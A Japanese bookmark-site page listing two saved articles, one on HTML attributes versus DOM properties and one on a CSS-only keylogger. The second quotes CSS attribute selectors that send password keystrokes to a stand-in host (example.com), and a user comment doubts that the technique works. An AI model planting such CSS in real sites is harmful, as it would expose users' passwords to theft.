タグ

2018年3月31日のブックマーク (2件)

  • AttributeとProperty - Qiita

    というように、Attributeでは属性名がそのまま値となっています(XHTML的な書き方の、checked='checked'に対応するものです)。一方、Propertyでは、素直にtrue/falseとなっています。これは、それ以外のselectedやrequiredなどにも共通します。 style属性 インラインで指定するstyle属性も、AttributeではCSS文字列そのままなのに対して、Propertyでは各CSSプロパティがJavaScriptにも現れて、elem.style.marginLeft='10px';のように書くことができます。jQueryでは.css()を使えます。 class属性 Attributeとしてはclassですが、予約語となる言語も多いので、PropertyではclassNameとなっています。どちらも、スペース区切りの文字列です。 また、jQue

    AttributeとProperty - Qiita
  • CSSだけでキーロガーを作る(※追記あり) - R42日記

    github.com よくもまあこんなこと思いついたなw 要するに、 input[type="password"][value$="a"] { background-image: url("http://example.com/a"); } input[type="password"][value$="b"] { background-image: url("http://example.com/b"); } ... とすることで、キータイプ毎に特定のHTTPリクエストを発生させて、それをサーバ側でキャプチャするわけです。極めて簡単。 これはもう既に悪用されているでしょうなあ… 追記 input[type="password"][value$="a"] { background-image: url("http://example.com/a?id=1234abcd"); } input[

    CSSだけでキーロガーを作る(※追記あり) - R42日記
    cartman0
    cartman0 2018/03/31
    value attributeはinputの初期値で、入力値はvalue propertyで管理されるから結局cssじゃ見えないのね